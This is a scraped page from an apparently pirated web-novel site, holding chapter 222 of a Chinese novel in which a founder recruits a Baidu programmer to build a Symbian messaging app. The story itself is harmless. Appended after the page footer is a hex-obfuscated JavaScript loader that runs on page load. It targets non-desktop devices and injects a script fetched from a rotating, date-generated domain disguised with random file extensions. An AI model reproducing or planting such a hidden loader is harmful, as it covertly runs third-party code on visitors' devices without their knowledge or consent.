返回第222章 我要更多  渔雪首页

关灯 护眼     字体:

上一章 目录 下一章

第222章 我要更多

时间刚进入二月份,过年的气氛就好似忽然变浓了。

百晓生不仅公司里张灯结彩,连网站界面也变得喜气洋洋,显得十分应景。

作为已经习惯泡在这个论坛上针砭时事的用户,葛智杰很满意百晓生的及时调整,也十分感慨它的这种生命力。

要不说,怎麽人家能把职场平台做起来呢,要不说,人家的用户数量能突破两百万呢。

葛智杰对百晓生网站乃至背后的管理层都颇具好感,这是他自上网冲浪以来极少有的感受,也就不得不称赞那位「博士」很有两把刷子。

所以,当他这一天接到「博士」的私信便很自来熟的给了回应。

俞兴:葛老师,你好,听人推荐,你在塞班程序的开发上很有见地?

葛智杰是百度的程式设计师,闲暇的时候经常在论坛分享技术类的看法,接到百晓生这位创始人的私信之后有种「陌生的老熟人」之感,直接回了句:咋地,有私活啊?

一点没谦虚,也一点没见外。

如此一聊,葛智杰也就和「博士」交换联系方式,连续打了两通电话,就塞班软体的开发工作进行交流。

作为技术人员,葛智杰能明显感觉出来,「博士」对这方面技术不太了解,当自己滔滔不绝的时候,对方只是保持礼貌的努力在听。

不过,同样作为有资深经验的程式设计师,葛智杰也有正确处理产品需求的方式。

他在第三通电话里听到「博士」奋力的表达,忍不住就打断道:「俞博士,别扯这些需求了,你就直接说你要抄哪个软体吧。」

电话里一时安静。

葛智杰觉得这样的说法可能有点唐突,乾笑一声,找补道:「是这样的,嗯,嗯,俞博士,你直说你要对标哪个软体,这样可以方便我理解。」

按产品经理的描述,是对标,不是抄。

「葛老师……」俞兴在电话里沉吟,「飞信,简洁的飞信,可以跨通信商的飞信。」

飞信目前只能在华夏移动的用户之间使用,所以,横跨是一个重点的特徵。

葛智杰瞬间就明白了,也从接触「陌生的老熟人」的情绪中恢复过来,思考变得很认真:「唔,俞总,一个能够连接移动丶联通丶电信的通讯工具对吧?这样好像确实能和飞信竞争。」

「是的。」俞兴确认,又补充道,「或者,对标QQ,简洁的QQ,去掉它那些花里胡哨功能的QQ。」

葛智杰听到QQ的名字便是一怔,本能的在脑海里跳出综合两款对标产品后的属性,一款移动IM工具?

他情不自禁的问道:「俞总,这恐怕很难做大吧?它看起来会和企鹅的市场重迭,市面上没有太成功的产品,以往对标的都死了啊。」

俞兴询问道:「从技术层面实现呢?葛老师,我现在需要知道的是这个,假如是你组个小团队,这种产品的开发需要多久?需要多少人?」

葛智杰没有立即回答,默默琢磨这种需求。

电话另一端也没有催。

许久之后,葛智杰首先回答一个问题:「开发的难度其实不大,有两三个人都能慢慢做出来,当然,不能是生手,我估计两三个月吧,但这个事不光是做出来的问题,它其实还蛮复杂的,因为你真正投入运营,那需要进行不同版本的塞班适配,这些在API的支持丶系统特性上都有差异,需要进行针对性的代码调整和功能优化。」

「比如,一些UI组建在特定版本里显示异常或者出现网络API调用失败等等。」

「还有,塞班设备的屏幕解析度有很多,从比较小的QVGA,也就是240×320,到很高的解析度都有,这就得采用合适的布局策略和图片资源管理,确保使用可缩放的矢量图形资源等等。」

葛智杰滔滔不绝,喝了一口水之后决定最后再提一个:「另外,塞班系统的内存资源比较有限,代码里得及时释放不再使用的内存对象,比如对动态分配的数组,使用完之后要严格的进行内存回收。」

他刚想结束,脑子里又闪过一个关键问题:「既然是即时通讯,考虑到长时间运行在后台保持网络连接等情况,这要优化代码逻辑来降低电耗,比如,合理的设置轮询的时间间隔。」

「总而言之,从开发到实战,容易碰到的问题是方方面面的。」

葛智杰认真的回答了问题,片刻之后,他听到了来自俞总的询问。

「就用塞班的原生UI框架,就那个Akn(Application User Interface Skin),还有Qt for Symbian,这样确保系统的一致性丶性能优化和跨平台的开发,不行吗?」俞兴略显笨拙的询问。

葛智杰几乎能想像到俞总在念着材料或者屏幕上的字,他忍着笑,答道:「可以的,但这是大方向,这就是实现技术层面的了,我怕你听不懂,所以,聊的是你能理解的,具体到这里呢,比如,网络通信要使用什麽协议,这两年新出的WebSocket其实表现不错,但它还在草案阶段,而且主要在新兴的行动作业系统iOS和Android中有试验性的支持。」

「大多数塞班手机用的基于WebKit的浏览器引擎,这就没法实现其它平台上出现的最新HTML5特性。」

「嗯,WebSocket协议的潜力很大……」

葛智杰喃喃自语,思考一会之后说道:「塞班的话,可以用自定义HTTP长轮询,虽然没那麽高效,但用起来也没什麽问题。」

他不再说话,过了一会见电话里仍然沉默,只好出声道:「俞总,你在思考吗?」

「哦,哦,说完了是吧?我还以为有下文呢。」俞兴闻言,很诚实的说道,「没怎麽听懂,但感觉是有货的。」

葛智杰笑道:「是吧,俞总要把私活交给我试试吗?」

俞兴直接问道:「葛老师,我觉得你挺靠谱,但还得在我这边面试面试,毕竟,我不懂技术问题,你愿意从百度出来吗?」

葛智杰有点好笑的说道:「敢情不是私活,是想挖人啊,可是,俞总,你这个软体没前景啊,我跑过去干几个月,到时候一面试就没下文了,你再把我裁了,我要几个月的溢价工资,我图什麽啊?」

请...您....收藏_(六\\\九\\\书\\\吧!)

他感受到了熟悉的产品经理的愚蠢性。

「葛老师,你刚才自己也说了,开发和实战会面临许多问题,私活得不到持续的保障。」俞兴直接说道,「你如果后续面试没问题,你来攒个塞班团队做开发,今年这个2010年,我给这个团队的薪酬总包是两百万,还可以再合理的谈,除了这个,我们年终奖再另算。」

葛智杰的呼吸微微停滞,你要这麽说……我就得说,俞总高见……

俞兴见电话里没声音,继续说道:「当然,也得看葛老师胜不胜任这个位置,我说实话,会面临一些竞争的。」

葛智杰对竞争没有太在意,经过短暂的思考之后问道:「俞总,画饼好画,到时候你特意额挑毛病,找麻烦,随便克扣克扣,又怎麽办?还有,你这个再合理的谈,真的能合理吗?」

「你这样问我,那我还能怎麽回答?谁能说自己会克扣啊?」俞兴倒是笑了,「葛老师,我看你是百晓生的资深用户,我只能说,从网站成立到现在,你看我是那样的人吗?」

葛智杰脑海里快速闪过俞博士的战绩,炮轰网际网路婚恋,硬拉打工皇帝下马,逮捕真攻夫质量问题,逆行登台援手的不忍心,夺命72小时的江湖追杀……

他长长的吐了一口气,口碑!!

葛智杰又是一阵长久的沉默,然后说道:「俞总,既然你要做这样一款对标产品,难道你就只开发塞班软体吗?iOS和安卓呢?这两个新兴的行动作业系统其实也很有潜力的。」

俞兴惊讶道:「葛老师,你什麽意思?」

「我在百度主要是做C++,但不是只会它,我对Objective-C和Java也有不错的涉猎。」葛智杰简洁的增加了自我介绍,又突出重点,「我要更多!」

塞班的开发语言主要是C++,iOS的是Objective-C,属于C语言的超集,安卓系统则是Java。

葛智杰对于业界新兴的知识一直保持强烈的好奇和钻研,也就有强烈的自信。

俞兴感受到了这种自信,笑着回答了两个字:「可以。」

只要你行,那就可以。

不怕你要更多,你越行,今日份薪酬越会大概率由大厂买单。

(本章完)

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");